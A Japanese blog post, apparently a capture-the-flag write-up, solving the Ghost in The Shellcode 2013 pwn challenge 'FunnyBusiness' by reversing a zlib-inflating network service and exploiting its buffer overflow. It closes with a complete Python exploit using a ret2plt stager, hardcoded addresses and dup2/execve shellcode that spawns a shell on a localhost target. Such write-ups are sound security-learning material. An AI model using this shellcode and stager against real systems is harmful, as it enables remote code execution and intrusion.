更新日時で差をつけろ

もはや更新日時でしか差を付けられない

Ghost in The Shellcode 2013 「FunnyBusiness」を解いた

pwn問題集のbabyより。
事前準備として$ useradd -m funnybusinessが必要。getpwnamを使うのでsudoを付けて動かす。

lddでリンクされているライブラリを見るとlibzがあった。
leaveとかどこにも書いてないし、アセンブリがどうも読みづらいがこれはFORTIFY_SOURCEによるものらしい。
https://access.redhat.com/blogs/766093/posts/1976213

仕方ないのでデバッガの助けを借りてrecvの辺りから広げていって読むことにした。
がんばって読むと、0x4000以下の数値をrecvしたあと、その長さ分だけまたrecv.bssに格納してInflateで展開してからretするプログラムのようだ。BOFも見つけた。
いろいろ試して2回目の入力の先頭の7バイト目からが指すアドレスにreturnするとわかったのだが、shellcodeをどこに入れればよいかわからなかった。アドレスもわからないし。

日本語も英語もwrite-upがほとんどなかった。以下を参考にした。
http://shimasyaro.hatenablog.com/entry/2017/02/20/130636

  • 1, 2回目のrecvret2pltを仕込み、もう1度recvが呼ばれるようにする(stager)。このときのrecvのリターン先にはASLRでも固定されている.bssのアドレスを指定する
  • 3回目のrecvでshellcodeを入れる
  • そのshellcodeにリターン、実行される

import socket, time, os, struct, telnetlib
 
def connect(ip, port):
    return socket.create_connection((ip, port))
 
def p(x):
    return struct.pack("<I", x)
 
def u(x):
    return struct.unpack("<I", x)[0]
 
def interact(s):
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()
 
#######################################
 
import zlib
 
s = connect('localhost', 49681)
 
# dup2(4), execve
shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
bss_addr = 0x804b080
recv_plt = 0x80487b0
 
payload  = 'A' * 6
payload += p(recv_plt) # stager(ret2plt)
payload += p(bss_addr)
payload += p(4) # arguments...(descriptor, buffer, length, flags)
payload += p(bss_addr)
payload += p(len(shellcode))
payload += p(0)
 
print(payload.encode('string_escape'))
 
compressed = zlib.compress(payload, 0)
 
s.send(p(len(compressed)))
s.send(compressed)
 
s.send(shellcode)
interact(s)